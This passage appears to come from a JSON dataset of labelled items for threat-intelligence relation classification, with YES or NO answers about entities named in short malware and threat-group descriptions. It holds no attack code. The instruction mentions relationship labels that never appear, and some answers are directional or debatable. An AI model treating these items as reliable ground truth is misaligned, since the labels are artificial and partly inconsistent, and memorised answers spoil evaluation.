NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSILENTTRINITY\n### Target Entity: Boo\n### Text Passage:\nSILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSILENTTRINITY\n### Target Entity: Croatian government agencies\n### Text Passage:\nSILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPowershell\n### Target Entity: Croatian\n### Text Passage:\nSILENTTRINITY is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. SILENTTRINITY was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindigo\n### Target Entity: OpenSSH\n### Text Passage:\nWindigo has used a script to check for the presence of files created by OpenSSH backdoors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMarcher\n### Target Entity: Android\n### Text Passage:\nMarcher is Android malware that is used for financial fraud.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBRATA\n### Target Entity: Android\n### Text Passage:\nBRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBRATA\n### Target Entity: Brazilian\n### Text Passage:\nBRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBRATA\n### Target Entity: UK\n### Text Passage:\nBRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBRATA\n### Target Entity: Poland\n### Text Passage:\nBRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBRATA\n### Target Entity: Italy\n### Text Passage:\nBRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBRATA\n### Target Entity: Spain\n### Text Passage:\nBRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBRATA\n### Target Entity: USA\n### Text Passage:\nBRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSpain\n### Target Entity: USA\n### Text Passage:\nBRATA (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, BRATA was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of BRATA.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBADFLICK\n### Target Entity: Microsoft Word\n### Text Passage:\nBADFLICK has been distributed via spearphishing campaigns containing malicious Microsoft Word documents.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMicrosoft\n### Target Entity: BADFLICK\n### Text Passage:\nBADFLICK has been distributed via spearphishing campaigns containing malicious Microsoft Word documents.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAhRat\n### Target Entity: Android\n### Text Passage:\nAhRat is an Android remote access tool based on the open-source AhMyth remote access tool. AhRat initially spread in August 2022 on the Google Play Store via an update containing malicious code to the previously benign application, \u201ciRecorder \u2013 Screen Recorder\u201d, which itself was released in September 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAhRat\n### Target Entity: AhMyth\n### Text Passage:\nAhRat is an Android remote access tool based on the open-source AhMyth remote access tool. AhRat initially spread in August 2022 on the Google Play Store via an update containing malicious code to the previously benign application, \u201ciRecorder \u2013 Screen Recorder\u201d, which itself was released in September 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAhRat\n### Target Entity: Google Play\n### Text Passage:\nAhRat is an Android remote access tool based on the open-source AhMyth remote access tool. AhRat initially spread in August 2022 on the Google Play Store via an update containing malicious code to the previously benign application, \u201ciRecorder \u2013 Screen Recorder\u201d, which itself was released in September 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAhRat\n### Target Entity: iRecorder \u2013 Screen Recorder\n### Text Passage:\nAhRat is an Android remote access tool based on the open-source AhMyth remote access tool. AhRat initially spread in August 2022 on the Google Play Store via an update containing malicious code to the previously benign application, \u201ciRecorder \u2013 Screen Recorder\u201d, which itself was released in September 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nINCONTROLLER\n### Target Entity: ICS\n### Text Passage:\nINCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nINCONTROLLER\n### Target Entity: Schneider Electric\n### Text Passage:\nINCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nINCONTROLLER\n### Target Entity: Omron\n### Text Passage:\nINCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nINCONTROLLER\n### Target Entity: OPC UA\n### Text Passage:\nINCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nINCONTROLLER\n### Target Entity: Modbus\n### Text Passage:\nINCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nINCONTROLLER\n### Target Entity: CODESYS\n### Text Passage:\nINCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nINCONTROLLER\n### Target Entity: CHERNOVITE\n### Text Passage:\nINCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCHERNOVITE\n### Target Entity: ICS\n### Text Passage:\nINCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackTech\n### Target Entity: PLEAD\n### Text Passage:\nPLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPLEAD\n### Target Entity: East Asia\n### Text Passage:\nPLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPLEAD\n### Target Entity: Taiwan\n### Text Passage:\nPLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPLEAD\n### Target Entity: Japan\n### Text Passage:\nPLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPLEAD\n### Target Entity: Hong Kong\n### Text Passage:\nPLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEast Asia\n### Target Entity: PLEAD\n### Text Passage:\nPLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMailSniper\n### Target Entity: Exchange\n### Text Passage:\nMailSniper can be used for password spraying against Exchange and Office 365.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMailSniper\n### Target Entity: Office 365\n### Text Passage:\nMailSniper can be used for password spraying against Exchange and Office 365.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nConficker\n### Target Entity: DGA\n### Text Passage:\nConficker has used a DGA that seeds with the current UTC victim system date to generate domains.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCrutch\n### Target Entity: C2\n### Text Passage:\nCrutch can exfiltrate data over the primary C2 channel (Dropbox HTTP API).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDropbox\n### Target Entity: C2\n### Text Passage:\nCrutch can exfiltrate data over the primary C2 channel (Dropbox HTTP API).\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMoses Staff\n### Target Entity: DCSrv\n### Text Passage:\nDCSrv is destructive malware that has been used by Moses Staff since at least September 2021. Though DCSrv has ransomware-like capabilities, Moses Staff does not demand ransom or offer a decryption key.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXLoader\n### Target Entity: iOS\n### Text Passage:\nXLoader for iOS is a malicious iOS application that is capable of gathering system information.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ndown_new\n### Target Entity: C2\n### Text Passage:\ndown_new has the ability to base64 encode C2 communications.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nQUADAGENT\n### Target Entity: C2\n### Text Passage:\nQUADAGENT encodes C2 communications with base64.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPROMETHIUM\n### Target Entity: Truvasys\n### Text Passage:\nTruvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTruvasys\n### Target Entity: Delphi\n### Text Passage:\nTruvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLeafminer\n### Target Entity: MailSniper\n### Text Passage:\nLeafminer used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLeafminer\n### Target Entity: Sobolsoft\n### Text Passage:\nLeafminer used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTangleBot\n### Target Entity: United States\n### Text Passage:\nTangleBot is SMS malware that was initially observed in September 2021, primarily targeting mobile users in the United States and Canada. TangleBot has used SMS text message lures about COVID-19 regulations and vaccines to trick mobile users into downloading the malware, similar to FluBot Android malware campaigns.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTangleBot\n### Target Entity: Canada\n### Text Passage:\nTangleBot is SMS malware that was initially observed in September 2021, primarily targeting mobile users in the United States and Canada. TangleBot has used SMS text message lures about COVID-19 regulations and vaccines to trick mobile users into downloading the malware, similar to FluBot Android malware campaigns.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUnited States\n### Target Entity: Canada\n### Text Passage:\nTangleBot is SMS malware that was initially observed in September 2021, primarily targeting mobile users in the United States and Canada. TangleBot has used SMS text message lures about COVID-19 regulations and vaccines to trick mobile users into downloading the malware, similar to FluBot Android malware campaigns.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPutter Panda\n### Target Entity: pngdowner\n### Text Passage:\npngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and- execute\" utility. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: QUIETEXIT\n### Text Passage:\nQUIETEXIT is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by APT29 since at least 2021. APT29 has deployed QUIETEXIT on opaque network appliances that typically don't support antivirus or endpoint detection and response tools within a victim environment.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWhisperGate\n### Target Entity: Ukraine\n### Text Passage:\nWhisperGate is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRagnar Locker\n### Target Entity: Windows\n### Text Passage:\nBefore executing malicious code, Ragnar Locker checks the Windows API GetLocaleInfoW and doesn't encrypt files if it finds a former Soviet country.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRagnar Locker\n### Target Entity: Soviet\n### Text Passage:\nBefore executing malicious code, Ragnar Locker checks the Windows API GetLocaleInfoW and doesn't encrypt files if it finds a former Soviet country.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nyty\n### Target Entity: Windows\n### Text Passage:\nyty gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command systeminfo.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nyty\n### Target Entity: Microsoft\n### Text Passage:\nyty gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command systeminfo.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMuddyWater\n### Target Entity: Mori\n### Text Passage:\nMori is a backdoor that has been used by MuddyWater since at least January 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTomiris\n### Target Entity: Go\n### Text 